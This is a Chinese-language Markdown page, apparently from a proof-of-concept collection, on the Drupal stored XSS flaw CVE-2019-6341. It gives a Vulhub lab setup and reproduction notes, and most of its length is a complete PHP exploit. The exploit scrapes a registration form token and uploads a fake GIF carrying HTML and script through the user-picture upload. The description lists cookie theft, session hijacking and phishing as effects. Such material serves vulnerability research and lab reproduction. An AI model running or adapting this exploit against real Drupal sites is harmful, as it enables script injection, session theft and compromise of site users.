mirror of
https://github.com/Threekiii/Awesome-POC.git
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203 lines
6.7 KiB
Markdown
203 lines
6.7 KiB
Markdown
# Drupal XSS漏洞 CVE-2019-6341
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## 漏洞描述
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影响软件：Drupal
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方式：通过文件模块或者子系统上传恶意文件触发XSS漏洞
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参考链接：[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
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效果：JS代码执行（Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等）
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## 环境搭建
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Vulhub执行如下命令启动drupal 8.5.0的环境：
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```bash
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docker-compose up -d
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```
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环境启动后，访问 `http://your-ip:8080/` 将会看到drupal的安装页面，一路默认配置下一步安装。因为没有mysql环境，所以安装的时候可以选择sqlite数据库。
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## 漏洞复现
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该漏洞需要利用drupal文件模块上传文件的漏洞，伪造一个图片文件，上传，文件的内容实际是一段HTML代码，内嵌JS，这样其他用户在访问这个链接时，就可能触发XSS漏洞。
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Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`，默认存储名称为其原来的名称，所以之后在利用漏洞时，可以知道上传后的图片的具体位置。
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使用PoC上传构造好的伪造GIF文件，PoC参考[thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal)的PoC。
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如图，输入如下命令，即可使用`vulhub/drupal/CVE-2019-6341`目录下的poc构造样本并完成上传功能，第一个参数为目标IP 第二个参数为目标端口。
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```bash
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php cve-2019-6341-exp.php 192.168.11.1 8080
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```
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上传成功后，访问图片位置，即可触发 XSS 漏洞。
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Tips:
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1. 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能，所以验证存在时可使用 IE 浏览器。
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2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制，具体原理见[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
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> 此处复现不不成功，虽然xss代码上传成功，但是没有被正确解析。
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>
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> 只有IE浏览器可以正确解析xss并弹框。
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## 漏洞POC
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```php
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<?php
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/*
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usage: php poc.php <target-ip>
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Date: 1 March 2019
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Exploit Author: TrendyTofu
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Original Discoverer: Sam Thomas
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Version: <= Drupal 8.6.2
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Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
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Tested not wokring on: Drupal running on MacOS with APFS
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CVE : CVE-2019-6341
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Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/
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*/
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$host = $argv[1];
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$port = 80;
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$pk = "GET /user/register HTTP/1.1\r\n".
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"Host: ".$host."\r\n".
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"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
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"Accept-Language: en-US,en;q=0.5\r\n".
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"Referer: http://".$host."/user/login\r\n".
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"Connection: close\r\n\r\n";
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$fp = fsockopen($host,$port,$e,$err,1);
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if (!$fp) {die("not connected");}
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fputs($fp,$pk);
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$out="";
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while (!feof($fp)){
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$out.=fread($fp,1);
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}
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fclose($fp);
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preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
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$formid = $match[1];
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//var_dump($formid);
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//echo "form id is:". $formid;
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//echo $out."\n";
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sleep(1);
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$data =
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"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
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"Connection: close\r\n".
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"\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"mail\"\r\n".
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"\r\n".
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"test324@example.com\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"name\"\r\n".
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"\r\n".
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"test2345\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
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"Content-Type: image/gif\r\n".
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"\r\n".
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"GIF\r\n".
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"<HTML>\r\n".
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" <HEAD>\r\n".
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" <SCRIPT>alert(123);</SCRIPT>\r\n".
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" </HEAD>\r\n".
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" <BODY>\r\n".
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" </BODY>\r\n".
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"</HTML>\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
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"\r\n".
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"\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
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"\r\n".
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"1\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
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"\r\n".
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//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
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$formid."\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"form_id\"\r\n".
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"\r\n".
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"user_register_form\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"contact\"\r\n".
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"\r\n".
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"1\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"timezone\"\r\n".
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"\r\n".
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"America/New_York\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
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"\r\n".
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"user_picture_0_upload_button\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
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"\r\n".
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"Upload\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
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"\r\n".
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"1\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
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"\r\n".
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"bartik\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
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"\r\n".
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"\r\n".
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"-----------------------------60928216114129559951791388325\r\n".
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"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
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"\r\n".
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"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
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"-----------------------------60928216114129559951791388325--\r\n";
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$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
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"Host: ".$host."\r\n".
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"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
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"Accept: application/json, text/javascript, */*; q=0.01\r\n".
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"Accept-Language: en-US,en;q=0.5\r\n".
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"X-Requested-With: XMLHttpRequest\r\n".
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"Referer: http://" .$host. "/user/register\r\n".
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"Content-Length: ". strlen($data). "\r\n".
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$data;
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echo "uploading file, please wait...\n";
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for ($i =1; $i <= 2; $i++){
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$fp = fsockopen($host,$port,$e,$err,1);
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if (!$fp) {die("not connected");}
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fputs($fp,$pk);
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$out="";
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while (!feof($fp)){
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$out.=fread($fp,1);
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}
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fclose($fp);
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echo "Got ".$i."/2 500 errors\n";
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//echo $out."\n";
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sleep(1);
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}
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echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";
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?>
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```
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